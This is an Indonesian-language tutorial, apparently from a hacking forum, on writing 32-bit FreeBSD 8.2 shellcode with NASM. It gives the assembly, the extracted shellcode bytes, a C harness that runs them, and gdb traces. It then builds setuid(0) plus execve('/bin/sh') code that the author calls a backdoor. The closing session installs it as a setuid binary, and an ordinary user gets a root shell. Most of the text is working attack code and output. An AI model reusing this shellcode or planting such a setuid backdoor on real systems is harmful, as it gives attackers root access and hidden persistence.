Membuat shellcode di Freebsd 8.2 by : devilzc0de.org - "Trojan horse Live and Die Under the Sun" "mengakses register lebih cepat dari mengakses memori karena register ada di cpu dan memori baru terhubung ke cpu melalui bus" kali ini kita akan membuat shellcode untuk Freebsd 8.2 , masih pake 32 bit : ------------------------ ev1lut10n# uname -a FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46 UTC 2011 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 ev1lut10n# ----------------------- untuk freebsd 8.2 daftar syscall bisa dilihat di /usr/include/sys/syscall.h ------------------- ev1lut10n# cat /usr/include/sys/syscall.h | grep setuid #define SYS_setuid 23 ------------------- jadi kita perlu mengisi eax dengan 17 hexa (konversi dari 23 desimal=17 hexa) ---------------- mov eax,0x17 int 80h -------------- 0x: berarti kita akan memindahkan angka berformat hex untuk memastikanya coba kita liat lagi di /usr/include/unistd.h: --------------------------- ev1lut10n# cat /usr/include/unistd.h | grep setuid int setuid(uid_t); --------------------------- terlihat hanya 1 parameter, untuk fungsi di bawah 6 argumen urutan pemasukanya selalu : eax, ebx, ecx, edx, esi ok mari kita tes dulu memanggil syscall setuid dan langsung menggunakan syscall exit: sebelumnya kita liat dulu kebutuhan kita: ----------------------- ev1lut10n# cat /usr/include/sys/syscall.h | grep exit #define SYS_exit 1 #define SYS_thr_exit 431 ev1lut10n# ----------------------- yang akan kita pakai adl yg ini: #define SYS_exit 1 ok kita siapkan label dengan nama keluar, di bawahnya kita eksekusi syscall exit: keluar: mov eax,0x01 int 80h ------------------ ;copyleft by dom dom aka m0nk3y global _start section .text _start: xor eax,eax push eax push eax mov eax,0x17 int 80h keluar: push byte 0x01 pop eax int 80h ----------------- misal namanya setuid_exit.asm ev1lut10n# nasm -f elf setuid_exit.asm ev1lut10n# ld -o setuid_exit setuid_exit.o ev1lut10n# ./setuid_exit gak ada segmentation fault berarti ok heh? untuk membuat shellcodenya gunakan objdump seperti di linux: ----------------------------- ev1lut10n# objdump -d setuid_exit setuid_exit: file format elf32-i386-freebsd Disassembly of section .text: 08048080 <_start>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: b8 17 00 00 00 mov $0x17,%eax 8048089: cd 80 int $0x80 0804808b <keluar>: 804808b: 6a 01 push $0x1 804808d: 58 pop %eax 804808e: cd 80 int $0x80 ev1lut10n# _________________ jika register eax diganti register ax, berdasarkan pengalaman masih ada null string, jadi kita pake register 8 bit: al mov $0x17,%eax menjadi: mov $0x17,%al kompile: ev1lut10n# nasm -f elf setuid_exit2.asm ev1lut10n# ld -o setuid_exit setuid_exit.o ev1lut10n# objdump -d setuid_exit2 setuid_exit2: file format elf32-i386-freebsd Disassembly of section .text: 08048080 <_start>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: b0 17 mov $0x17,%al 8048086: cd 80 int $0x80 08048088 <keluar>: 8048088: 6a 01 push $0x1 804808a: 58 pop %eax 804808b: cd 80 int $0x80 dari hasil objdump shellcodenya adl: \x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80 -------------------- /**freebsd setuid then exit shellcode made by: ev1lut10n**/ #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80"; int main() { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); } ------------------- misal namanya keluar.c: ev1lut10n# gcc -o keluar keluar.c ev1lut10n# ./keluar Length: 13 ev1lut10n# dieksekusi dg benar \x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80 1 2 3 4 5 6 7 8 9 10 11 12 13 ok selanjutnya kita akan membuat sebuah backdoor dengan shellcode setuid execve /bin/sh ------------------ ev1lut10n# cat /usr/include/sys/syscall.h | grep execve #define SYS_execve 59 #define SYS___mac_execve 415 #define SYS_fexecve 492 ev1lut10n# ------------------- yang akan dipakai adalah yg: #define SYS_execve 59 59 dalam hex: 3b al kita isi dengan 3b --------------- #include <unistd.h> int execve(const char *path, char *const argv[], char *const envp[]); berikut ini kode assembly untuk eksekusi /bin/sh: ----------------- xor eax,eax; eax diset ke null push byte 0 ;sama dengan push eax push '//sh' ;alamat //sh disimpan ke stack push '/bin' mov ebx,esp push byte 0 ;sama dengan push eax push esp push ebx push byte 0 mov al,0x3b ;syscall execve int 80h -------------------- jika dilakukan strace kurang lebih fungsi execve dieksekusi spt ini: execve("/bin/sh", "/bin/sh", NULL) setelah itu kita gabungkan dengan kode asm untuk setuid shellcode: ----------------------- ;copyleft by dom dom aka m0nk3y global _start section .text _start: xor eax,eax push byte 0 push byte 0 mov al,0x17 int 80h xor eax,eax push byte 0 push '//sh' push '/bin' mov ebx,esp push byte 0 push esp push ebx push byte 0 mov al,0x3b int 80h -------------- untuk memahami kode di atas lalukan kompile dengan opsi -g: ---------- ev1lut10n# nasm -f elf suid.asm -g ev1lut10n# ld -o suid suid.o ev1lut10n# gdb -q suid (gdb) l 1 ;copyleft by dom dom aka m0nk3y 2 global _start 3 section .text 4 _start: 5 xor eax,eax 6 push byte 0 7 push byte 0 8 mov al,0x17 9 int 80h 10 (gdb) l 11 xor eax,eax 12 push byte 0 13 push '//sh' 14 push '/bin' 15 mov ebx,esp 16 push byte 0 17 push esp 18 push ebx 19 push byte 0 20 mov al,0x3b (gdb) b 16 Breakpoint 1 at 0x804809a: file suid.asm, line 16. (gdb) run Starting program: /root/shellcode/suid Breakpoint 1, 0x0804809a in _start () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x0 0 ebx 0xbfbfe9f0 -1077941776 esp 0xbfbfe9f0 0xbfbfe9f0 ebp 0x0 0x0 esi 0x0 0 edi 0x0 0 eip 0x804809a 0x804809a eflags 0x246 582 cs 0x33 51 ss 0x3b 59 ds 0x3b 59 es 0x3b 59 fs 0x3b 59 gs 0x3b 59 (gdb) x/s 0xbfbfe9f0 0xbfbfe9f0: "/bin//sh" (gdb) --------- sebelumnya esp menyimpan alamat /bin/sh yang telah kita push ke stack: 13 push '//sh' 14 push '/bin' selanjutnya isi esp yg berupa alamat memori /bin/sh disimpan ke ebx: 15 mov ebx,esp (gdb) x/s 0xbfbfe9f0 0xbfbfe9f0: "/bin//sh" (gdb) 0xbfbfe9f0 adlaah alamat /bin/sh mulai break di baris ke 16 sehingga ebx : ebx 0xbfbfe9f0 -1077941776 (gdb) x/s -1077941776 0xbfbfe9f0: "/bin//sh" (gdb) gdb) b 21 Breakpoint 1 at 0x80480a2: file suid.asm, line 21. (gdb) run Starting program: /root/shellcode/suid Breakpoint 1, 0x080480a2 in _start () ev1lut10n# nasm -f elf suid.asm ev1lut10n# ld -o suid suid.o ev1lut10n# chmod u+s suid ev1lut10n# uname -a FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46 UTC 2011 root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 ev1lut10n# su ev1lut10n $ id uid=1001(ev1lut10n) gid=1001(ev1lut10n) groups=1001(ev1lut10n) $ ./suid # id uid=0(root) gid=0(wheel) egid=1001(ev1lut10n) groups=1001(ev1lut10n) # (gdb) i r eax 0x3b 59 karena register 32 bit (eax) terdiri dari 2 register 16 bit : ax di mana ax terdiri lagi dari 2 register 8 bit , dengan mengisi register 8 bit al dengan 0x3b maka eax=0x3b